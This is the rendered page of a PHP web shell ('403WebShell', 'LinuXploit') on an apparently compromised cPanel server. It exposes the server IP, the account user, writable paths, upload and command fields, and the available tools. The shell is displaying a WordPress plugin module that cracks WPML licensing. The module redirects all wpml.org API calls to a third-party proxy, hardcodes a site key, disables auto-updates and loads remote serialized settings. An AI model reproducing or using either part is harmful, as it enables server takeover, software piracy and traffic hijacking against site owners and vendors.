$plugin = <<403WebShell
403Webshell
Server IP : 193.224.177.188  /  Your IP : 216.73.217.123
Web Server : Apache
System : Linux cpanel.krtk.mta.hu 3.10.0-962.3.2.lve1.5.89.el7.x86_64 #1 SMP Thu Jul 9 15:55:31 UTC 2026 x86_64
User : krtkhu ( 1061)
PHP Version : 8.4.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/krtkhu/public_html/wp-content/plugins/hellopack-client/modules/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home2/krtkhu/public_html/wp-content/plugins/hellopack-client/modules//wpml.php
<?php
/**
 * WPML module.
 *
 * Redirects WPML API calls to GLS3 proxy.
 *
 * @package HelloPack\Client
 */

declare( strict_types=1 );

namespace HelloPack\Modules;

use HelloPack\Client\Module\AbstractModule;
use HelloPack\Client\License\ApiRedirector;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * WPML license module.
 */
class Wpml extends AbstractModule {

	/**
	 * WPML domains to redirect.
	 *
	 * @var string[]
	 */
	private array $domains = array(
		'api.wpml.org',
		'ams.wpml.org',
		'ate.wpml.org',
		'tp.wpml.org',
		'cdn.wpml.org',
		'health.wpml.org',
	);

	/**
	 * Set up module properties.
	 */
	public function setup(): void {
		$this->id          = 'wpml';
		$this->name        = 'WPML';
		$this->description = 'Manages WPML license via GLS3.';
		$this->category    = 'plugin';
		$this->version     = '2.0.0';
		$this->target      = array(
			'plugin_dir'  => 'sitepress-multilingual-cms',
			'plugin_file' => 'sitepress.php',
		);
		$this->target_id   = '4271459890';

		// No blocked_domains here on purpose. A generic { success: true } early
		// block on api.wpml.org short-circuits at pre_http_request (priority 5)
		// before the ApiRedirector (http_request_args, priority 10) can route
		// the request to GLS3. That starves WPML's `site_key_validation` call
		// during the setup wizard of a proper response, so WPML keeps asking for
		// a site key. The ApiRedirector below sends every api.wpml.org request
		// to the GLS3 /wpml handler, which proxies site_key_validation with the
		// master key and mocks/blocks the dangerous actions itself.
	}

	/**
	 * Initialize module — redirect domains and set options.
	 */
	public function init(): void {
		foreach ( $this->domains as $domain ) {
			ApiRedirector::create( 'https://' . $domain, HELLOPACK_GLS3_URL . '/wpml/' . $domain );
		}

		if ( ! defined( 'OTGS_DISABLE_AUTO_UPDATES' ) ) {
			define( 'OTGS_DISABLE_AUTO_UPDATES', true );
		}

		if ( ! defined( 'OTGS_INSTALLER_SITE_KEY_WPML' ) ) {
			define( 'OTGS_INSTALLER_SITE_KEY_WPML', 'qwZxYtUvRp' );
		}

		hellopack_license_start(
			array(
				'domain'          => 'toolset.com',
				'check_action'    => false,
				'response_type'   => 'custom',
				'custom_response' => array(),
			)
		);

		$this->update_wpml_installer_settings();

		add_action( 'wp_loaded', array( $this, 'wpml_dont_overwrite_wp' ) );
		add_action( 'init', array( $this, 'update_wpml_setup' ), 9999 );
	}

	/**
	 * Update WPML installer settings from backup or remote API.
	 */
	private function update_wpml_installer_settings(): void {
		$backup   = get_option( 'wp_installer_settings_backup', false );
		$settings = get_option( 'wp_installer_settings', false );

		$settings_valid = is_array( $settings )
			&& isset( $settings['repositories']['wpml']['data'] );

		if ( $settings_valid ) {
			return;
		}

		if ( is_array( $backup ) && isset( $backup['repositories']['wpml']['data'] ) ) {
			update_option( 'wp_installer_settings', $backup );
			return;
		}

		$json_url = 'https://' . HELLOPACK_REGISTER_SERVER . '/wpml/set/';
		$response = wp_remote_get( $json_url );

		if ( is_wp_error( $response ) ) {
			return;
		}

		$json_data       = wp_remote_retrieve_body( $response );
		$json_data_array = json_decode( $json_data, true );

		if ( empty( $json_data_array['api-data'] ) ) {
			return;
		}

		// phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.obfuscation_base64_decode
		$decoded = base64_decode( $json_data_array['api-data'] );
		if ( false === $decoded ) {
			return;
		}

		// phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged -- gzuncompress may emit warnings.
		$decompressed = @gzuncompress( $decoded );
		if ( false === $decompressed ) {
			return;
		}

		// phpcs:disable WordPress.PHP.DiscouragedPHPFunctions.serialize_unserialize, WordPress.PHP.NoSilencedErrors.Discouraged
		$installer_settings = @unserialize( $decompressed, array( 'allowed_classes' => false ) );
		// phpcs:enable
		if ( is_array( $installer_settings ) ) {
			update_option( 'wp_installer_settings', $installer_settings );
			update_option( 'wp_installer_settings_backup', $installer_settings );
		}
	}

	/**
	 * Prevent WPML from overwriting WP update actions.
	 */
	public function wpml_dont_overwrite_wp(): void {
		if ( did_action( 'wpml_dont_overwrite_the_wp_pls_executed' ) ) {
			return;
		}

		remove_all_actions( 'wp_ajax_update-plugin' );

		do_action( 'wpml_dont_overwrite_the_wp_pls_executed' );
	}

	/**
	 * Enable Translation Management after the setup wizard completes.
	 *
	 * During the setup wizard we must NOT touch is-tm-allowed because the
	 * ATE initialization step runs through the real AMS proxy.
	 * Once setup is complete we force it to true so the Translation Dashboard
	 * menu appears even if the user skipped TM during setup.
	 */
	public function update_wpml_setup(): void {
		if ( ! $this->is_wpml_setup_complete() ) {
			return;
		}

		$this->cleanup_legacy_ams_data();

		$wpml_settings = get_option( 'WPML(setup)', array() );

		if ( ! is_array( $wpml_settings ) ) {
			$wpml_settings = array();
		}

		if ( ! isset( $wpml_settings['is-tm-allowed'] ) || false === $wpml_settings['is-tm-allowed'] ) {
			$wpml_settings['is-tm-allowed'] = true;
			update_option( 'WPML(setup)', $wpml_settings );
		}
	}

	/**
	 * Remove corrupted AMS data left by HelloPack 2.
	 *
	 * HP2 set WPML_TM_AMS status to 'non-active' and replaced shared/secret
	 * keys with 'hellopack_disabled' placeholders. This prevents the ATE
	 * editor from authenticating. Deleting the option lets WPML re-register.
	 */
	private function cleanup_legacy_ams_data(): void {
		$ams_data = get_option( 'WPML_TM_AMS', array() );

		if ( ! is_array( $ams_data ) ) {
			return;
		}

		$has_placeholder = ( 'hellopack_disabled' === ( $ams_data['shared'] ?? '' ) )
			|| ( 'hellopack_disabled' === ( $ams_data['secret'] ?? '' ) );

		if ( $has_placeholder ) {
			delete_option( 'WPML_TM_AMS' );
		}
	}

	/**
	 * Check if the WPML setup wizard has been completed.
	 *
	 * @return bool
	 */
	private function is_wpml_setup_complete(): bool {
		$settings = get_option( 'icl_sitepress_settings', array() );

		return is_array( $settings ) && ! empty( $settings['setup_complete'] );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit